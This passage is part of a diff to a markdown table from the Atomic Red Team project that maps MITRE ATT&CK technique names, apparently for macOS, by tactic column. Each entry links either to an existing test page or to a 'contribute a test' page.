-|  |  | Pluggable Authentication Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Setuid and Setgid](../../T1548.001/T1548.001.md) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Unsecured Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | User Activity Based Checks [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Non-Standard Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Startup Items](../../T1037.005/T1037.005.md) | [Impair Command History Logging](../../T1562.003/T1562.003.md) | Web Cookies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | [Non-Standard Port](../../T1571/T1571.md) |  |
-|  |  | [RC Scripts](../../T1037.004/T1037.004.md) | [Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | Impair Defenses [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  | One-Way Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | [Re-opened Applications](../../T1547.007/T1547.007.md) | [Trap](../../T1546.005/T1546.005.md) | Indicator Blocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) | Indicator Removal from Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Protocol Impersonation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | [SSH Authorized Keys](../../T1098.004/T1098.004.md) | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Indicator Removal on Host [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Protocol Tunneling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Install Root Certificate](../../T1553.004/T1553.004.md) |  |  |  |  |  | Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Server Software Component [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Invalid Code Signature [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Remote Access Software [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | [Startup Items](../../T1037.005/T1037.005.md) |  | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | [Standard Encoding](../../T1132.001/T1132.001.md) |  |
-|  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) |  |  |  |  |  | Steganography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | [Trap](../../T1546.005/T1546.005.md) |  | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) |  | Masquerading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
-|  |  | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Match Legitimate Name or Location](../../T1036.005/T1036.005.md) |  |  |  |  |  | [Web Protocols](../../T1071.001/T1071.001.md) |  |
-|  |  | Web Shell [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  | Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |
+| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Binary Padding](../../T1027.001/T1027.001.md) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Window Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Transfer Size Limits](../../T1030/T1030.md) | Asymmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clear Command History](../../T1070.003/T1070.003.md) | [Bash History](../../T1552.003/T1552.003.md) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive Collected Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Bidirectional Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Extensions](../../T1176/T1176.md) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clear Linux or Mac System Logs](../../T1070.002/T1070.002.md) | Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Commonly Used Port [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Destruction](../../T1485/T1485.md) |
+| Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Compromise Client Software Binary [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | Code Signing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credential Stuffing](../../T1110.004/T1110.004.md) | Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Library [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Communication Through Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Encrypted for Impact [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Drive-by Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Inter-Process Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Code Signing Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credentials In Files](../../T1552.001/T1552.001.md) | [File and Directory Discovery](../../T1083/T1083.md) | SSH [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive via Utility](../../T1560.001/T1560.001.md) | Exfiltration Over C2 Channel [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | JavaScript [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Compile After Delivery](../../T1027.004/T1027.004.md) | Credentials from Password Stores [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Audio Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS Calculation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launchctl](../../T1569.001/T1569.001.md) | [Cron](../../T1053.003/T1053.003.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credentials from Web Browsers](../../T1555.003/T1555.003.md) | [Local Account](../../T1087.001/T1087.001.md) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Direct Network Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Hardware Additions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launchd](../../T1053.004/T1053.004.md) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Linker Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Deobfuscate/Decode Files or Information](../../T1140/T1140.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Groups](../../T1069.001/T1069.001.md) | Taint Shared Content [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clipboard Data](../../T1115/T1115.md) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disable or Modify System Firewall [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Forge Web Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Service Scanning](../../T1046/T1046.md) | VNC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Staged [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol](../../T1048.003/T1048.003.md) | Dead Drop Resolver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Emond](../../T1546.014/T1546.014.md) | [Disable or Modify Tools](../../T1562.001/T1562.001.md) | [GUI Input Capture](../../T1056.002/T1056.002.md) | [Network Share Discovery](../../T1135/T1135.md) |  | Data from Information Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Fronting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Spearphishing Attachment [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Native API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Sniffing](../../T1040/T1040.md) |  | Data from Local System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Python [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Linker Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Downgrade Attack [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Keychain](../../T1555.001/T1555.001.md) | [Password Policy Discovery](../../T1201/T1201.md) |  | Data from Network Shared Drive [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Cloud Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Resolution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Spearphishing via Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Emond](../../T1546.014/T1546.014.md) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Keylogging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Encrypted Channel [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Firmware Corruption [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Linker Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Inhibit System Recovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Sniffing](../../T1040/T1040.md) | [Process Discovery](../../T1057/T1057.md) |  | Email Forwarding Rule [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Fallback Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Source [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launch Agent](../../T1543.001/T1543.001.md) | Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Credential Dumping [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Remote System Discovery](../../T1018/T1018.md) |  | [GUI Input Capture](../../T1056.002/T1056.002.md) |  | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | System Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launch Daemon](../../T1543.004/T1543.004.md) | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Cracking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Security Software Discovery](../../T1518.001/T1518.001.md) |  | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | File Transfer Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | [Unix Shell](../../T1059.004/T1059.004.md) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launchd](../../T1053.004/T1053.004.md) | Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Guessing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Software Discovery](../../T1518/T1518.md) |  | Keylogging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Ingress Tool Transfer](../../T1105/T1105.md) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launch Agent](../../T1543.001/T1543.001.md) | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Checks](../../T1497.001/T1497.001.md) |  | [Local Data Staging](../../T1074.001/T1074.001.md) |  | [Internal Proxy](../../T1090.001/T1090.001.md) | [Resource Hijacking](../../T1496/T1496.md) |
+|  | Visual Basic [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launch Daemon](../../T1543.004/T1543.004.md) | Login Items [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [File Deletion](../../T1070.004/T1070.004.md) | Password Spraying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Information Discovery](../../T1082/T1082.md) |  | Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Junk Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  |  | [Launchd](../../T1053.004/T1053.004.md) | [Logon Script (Mac)](../../T1037.002/T1037.002.md) | File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Pluggable Authentication Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | System Language Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Screen Capture](../../T1113/T1113.md) |  | Mail Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  |  | [Local Account](../../T1136.001/T1136.001.md) | [Plist Modification](../../T1547.011/T1547.011.md) | [Gatekeeper Bypass](../../T1553.001/T1553.001.md) | [Private Keys](../../T1552.004/T1552.004.md) | System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Video Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Multi-Stage Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Stop [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  |  | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Process Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | HTML Smuggling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Network Configuration Discovery](../../T1016/T1016.md) |  | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Multi-hop Proxy](../../T1090.003/T1090.003.md) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+|  |  | Login Items [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [RC Scripts](../../T1037.004/T1037.004.md) | Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Network Connections Discovery](../../T1049/T1049.md) |  |  |  | Multiband Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) |
+|  |  | [Logon Script (Mac)](../../T1037.002/T1037.002.md) | [Re-opened Applications](../../T1547.007/T1547.007.md) | [Hidden Files and Directories](../../T1564.001/T1564.001.md) | Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Owner/User Discovery](../../T1033/T1033.md) |  |  |  | Non-Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
